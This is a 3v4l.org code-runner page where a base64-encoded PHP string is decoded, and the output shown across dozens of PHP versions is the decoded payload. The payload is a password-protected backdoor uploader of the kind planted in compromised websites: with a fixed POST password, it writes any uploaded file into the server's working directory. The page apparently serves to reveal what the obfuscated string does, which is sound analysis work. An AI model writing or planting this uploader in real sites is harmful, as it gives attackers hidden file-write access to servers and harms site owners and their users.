3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_decode('aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fCRfUE9TVFsncGFzc3dvcmQnXSE9PSdkMmNmY2I3NDVhNzRhYjhjY2RjZDllMWU2M2U1MzRkMicpZGllOyRwYXRoPWdldGN3ZCgpLicvJy5iYXNlbmFtZSgkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGgpKXtlY2hvICdPayc7fQ');
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
if(!isset($_POST['password'])||$_POST['password']!=='d2cfcb745a74ab8ccdcd9e1e63e534d2')die;$path=getcwd().'/'.basename($_FILES['file']['name']);if(@move_uploaded_file($_FILES['file']['tmp_name'],$path)){echo 'Ok';}

preferences:
262.06 ms | 406 KiB | 344 Q